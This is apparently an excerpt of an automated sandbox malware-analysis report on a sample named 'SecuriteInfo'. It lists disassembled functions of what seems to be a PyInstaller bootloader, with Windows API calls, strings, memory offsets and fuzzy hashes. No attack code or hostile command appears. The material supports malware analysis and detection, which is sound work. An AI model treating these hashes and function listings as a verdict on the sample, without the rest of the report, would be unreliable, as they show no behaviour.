Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction ID: 10b2ff77d91ebd9834225588a6c44b9d8dad45fda4d32e8db72292485a5836d3
Opcode Fuzzy Hash: 1c08c83365d44066401784e1b70b71c7670d14ff4fb682678828c33d1612b477
Instruction Fuzzy Hash: 01114930E0D64282FA58F331964137DD386DF687B0F8446B6E92E476DEDE3CA8518322

Function 00007FF7EAD02910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7EAD01B6A), ref: 00007FF7EAD0295E

Strings

%s: %s, xrefs: 00007FF7EAD029E8
[PYI-%d:ERROR] , xrefs: 00007FF7EAD02966
Error, xrefs: 00007FF7EAD02A0E
Error [ANSI Fallback], xrefs: 00007FF7EAD029FF

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction ID: ae51f5d1fe83f2c971d4e73fef52d4a43429731f2b0db052b25811b2ee4d1c3f
Opcode Fuzzy Hash: b3354eec44a94607d33eb4f3788ab89374ba031f66333e1b118589dca889f3f3
Instruction Fuzzy Hash: 2C31CF22B1968152F720E765A8803E6A395FF887D8F800133FE8D8374DEE7CD14AC621

Function 00007FF7EAD02390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7EAD023C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7EAD0248E
DeleteObject.GDI32 ref: 00007FF7EAD024C1
DestroyIcon.USER32 ref: 00007FF7EAD024D3

Strings

Unhandled exception in script, xrefs: 00007FF7EAD023F8

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction ID: 7d026c2daf2c81c5c0280fff79927e456b28180bb2e537748e3cb749f588f78a
Opcode Fuzzy Hash: 851ce5d4a208b56cb63585478e484d0f9d6918564d04618497f061aba15d8534
Instruction Fuzzy Hash: 28316372A19A8189FB20EB21E8553F9A364FF88788F840176EA4D47B5DDF3CD105C721

Function 00007FF7EAD02B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7EAD0918F,?,00007FF7EAD03C55), ref: 00007FF7EAD02BA0
MessageBoxW.USER32 ref: 00007FF7EAD02C2A

Strings

Warning, xrefs: 00007FF7EAD02C1D
WARNING, xrefs: 00007FF7EAD02BAF
[PYI-%d:%ls] , xrefs: 00007FF7EAD02BA8

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction ID: da505b91eaedee4c8d100829ab9c4c40a91cdb1d33957f570433fb2b5490e2bc
Opcode Fuzzy Hash: 4a0b6e8ebe13cae449087f655af1d2523953ec7fd560ce9a50e7097f48d063a1
Instruction Fuzzy Hash: 1721A172708B4142F711EB64F8847EAA3A5FB88784F800136EA8D57659DE3CE245C751

Function 00007FF7EAD02710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7EAD01B99), ref: 00007FF7EAD02760

Strings

[PYI-%d:%s] , xrefs: 00007FF7EAD02768
Error, xrefs: 00007FF7EAD027DE
ERROR, xrefs: 00007FF7EAD0276F
Error [ANSI Fallback], xrefs: 00007FF7EAD027CF

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction ID: b3653a7480c60acb36a9dd249aad42a1c08dedfdf0c78cfb7d5841418f6292e5
Opcode Fuzzy Hash: a4fe537d534c2fb53088f6f6b76b448a80ccad2508d4dc842b27f1a8247accfc
Instruction Fuzzy Hash: E2217C72A19B8182F720EB60B8817E6A7A4EB88784F800176FA8D4365DDF7CD1498651

Function 00007FF7EAD19A88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7EAD19AAD
GetProcAddress.KERNEL32 ref: 00007FF7EAD19AC3
FreeLibrary.KERNEL32 ref: 00007FF7EAD19AEA

Strings

mscoree.dll, xrefs: 00007FF7EAD19AA4
CorExitProcess, xrefs: 00007FF7EAD19ABC

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction ID: 0d68a3035b4517ca4c50f72d4311e48bb8cd06f2c2e59faff72b6f0653c3bdd8
Opcode Fuzzy Hash: b239dd027a539e56a716c05e535b4da9cb8e2339e08a4dc57142401ef2416000
Instruction Fuzzy Hash: E3F0C231B0970681FB10EB20E48437AA320EF55760F940276C66E461ECDF7CE148C331

Function 00007FF7EAD29368 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7EAD29390
_set_statfp.LIBCMT ref: 00007FF7EAD293AB
_set_statfp.LIBCMT ref: 00007FF7EAD293C7
_set_statfp.LIBCMT ref: 00007FF7EAD29403

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 1f19412b6e179195adf8c0d28e5bfbfa09cfc95307ff25947d789b3e9eedac2b
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: A2118232E5CB0301FA78B165E4A13799350EF59360E840EB6EA6E163DECE7C6942C132

Function 00007FF7EAD1B390 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3AF
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3CE
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B3F6
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B407
FlsSetValue.KERNEL32(?,?,?,00007FF7EAD1A5A3,?,?,00000000,00007FF7EAD1A83E,?,?,?,?,?,00007FF7EAD1A7CA), ref: 00007FF7EAD1B418

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction ID: 2b94987a55666d7648b7d66308c2c78518f251fa95b715d1dc404e7d8e5d04f9
Opcode Fuzzy Hash: 44f6b3e63c936746b9124b5af5da9c753e88c88086b63197a25bc1506e4861c0
Instruction Fuzzy Hash: 0611FE20F0964241FA54F735A551379D395DF647B0FC882B7D92D476DEDD3CA8418222

Function 00007FF7EAD1B224 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7EAD1B235
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B254
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B27C
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B28D
FlsSetValue.KERNEL32 ref: 00007FF7EAD1B29E

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction ID: d973e7f787f7056620904f9625f94c61a3d09728259864a0b272a578929d0dd1
Opcode Fuzzy Hash: 92671db20a050c4f2636db97a8291f7b9cbb2c044339a59ef12305351f814945
Instruction Fuzzy Hash: 1011F520E0960741FA58F27155523BE9382DF6A330F8847B7D92E4A6DADD3CB8445233

Function 00007FF7EAD15FA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD15FDC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD16106
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD161BC

Strings

verbose, xrefs: 00007FF7EAD15FB0

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 6ba1e51ca70c65bd71bd0112676f57214e957a2231fe0b48fe2598bebb14c8a0
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: 5A91CF62A08A4681F765EE34D4503BDB7A1EB60B94FC441B7DA5D833DBDE3CE8458322

Function 00007FF7EAD1FBC8 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD1FEA7

Part of subcall function 00007FF7EAD17A3C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7EAD17A59

Strings

UTF-8, xrefs: 00007FF7EAD1FE26
UTF-16LEUNICODE, xrefs: 00007FF7EAD1FE45
ccs, xrefs: 00007FF7EAD1FDE2

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction ID: 5dff4ca135240d0c977675bb2e43161060b7d3a62dbc8659e9e51c794e8daede
Opcode Fuzzy Hash: 7089664b0a027e884898b454f5d4d61e653d4f3baae8c024cbe23c99275e4c13
Instruction Fuzzy Hash: E881AE76E0860385F764FE398140378A7E1EB29B44FD548B7CA099729DCB3CE902D223

Function 00007FF7EAD0D648 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EAD0D673
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7EAD0D70A
RtlUnwindEx.KERNEL32 ref: 00007FF7EAD0D764

Strings

csm, xrefs: 00007FF7EAD0D6F1

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction ID: ab2047001a50b041f61c36572c0e40ef350eed9651f876fd83d0bfdca23d7181
Opcode Fuzzy Hash: 4bd751ab4a757734da5bac4c310991cbc8ef63d187f18c7a3c34a87046479a0f
Instruction Fuzzy Hash: E2518132A196028AEB14EB15E484779B792EF84B9CF904177EA8E4774CDF7CE841C711

Function 00007FF7EAD0F288 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7EAD0F2B0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7EAD0F398

Strings

csm, xrefs: 00007FF7EAD0F3EA
csm, xrefs: 00007FF7EAD0F2D2

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction ID: 32d7097a487a524cb60571632e0e6ec79fd7304bc9c24c450ee0a39434292182
Opcode Fuzzy Hash: b828653c103bc27f8420a51a056d9897bfd6e6497fd7c081c32eb92dd3ed2bbb
Instruction Fuzzy Hash: 0951823260834286FB64EA21908436EB7D6FB59B98FA48177DA4C47B89CF3CE451C712

Function 00007FF7EAD0EED8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7EAD0EF37
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7EAD0EF83

Strings

RCC, xrefs: 00007FF7EAD0EF53
MOC, xrefs: 00007FF7EAD0EF4B

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction ID: d21d4bc1030ff94c50f310ac91b866b3a8e9e89ecb24f393cdf84b1a0ba57750
Opcode Fuzzy Hash: 1c81a5d02d7979dd4dad50f55436adaf5051385037e661534b2c2f58034018d3
Instruction Fuzzy Hash: 8D618232908BC585E760EB25E4803AEB7A1FB98788F544276EB9C03759CF7CD190CB11

Function 00007FF7EAD07E20 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7EAD0352C,?,00000000,00007FF7EAD03F23), ref: 00007FF7EAD07F32

Strings

%s%c, xrefs: 00007FF7EAD07EA4
%.*s, xrefs: 00007FF7EAD07EEB
\, xrefs: 00007FF7EAD07E97

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CreateDirectory
String ID: %.*s$%s%c$\
API String ID: 4241100979-1685191245
Opcode ID: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction ID: df1133399f990eec0029a3c2bf0e5599327757a551e291416c3c5cf70455a6bc
Opcode Fuzzy Hash: 302ffdc47f1f131389ecc473fe7ae023bae846d875cccfc6523225b15fd92315
Instruction Fuzzy Hash: 9031E821619AC145FA21EB20E4907EAA355EF84BE8F800272EE6D477CDDF3CD6458721

Function 00007FF7EAD02810 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

Error, xrefs: 00007FF7EAD028DD
[PYI-%d:%ls] , xrefs: 00007FF7EAD02868
ERROR, xrefs: 00007FF7EAD0286F

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: Message
String ID: ERROR$Error$[PYI-%d:%ls]
API String ID: 2030045667-255084403
Opcode ID: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction ID: 372e37d06d474096e91f2fde833aed86e05630f1b0b141587d3e2c14a81d2b76
Opcode Fuzzy Hash: 035b7a672ed8def45fe49a9c290554376ffedfd07499b26c39d849b73b89d90e
Instruction Fuzzy Hash: BF21AE72B08B4182F710EB64F8847EAA3A5FB88784F800136EA8D57659DE3CE245C750

Function 00007FF7EAD1C5A0 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7EAD1C61F
WriteFile.KERNEL32 ref: 00007FF7EAD1C8E7
WriteFile.KERNEL32 ref: 00007FF7EAD1C92D
GetLastError.KERNEL32 ref: 00007FF7EAD1C9E3

Memory Dump Source

Source File: 00000000.00000002.1508044753.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000000.00000002.1507912306.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508163789.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508393462.00007FF7EAD42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1508507343.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

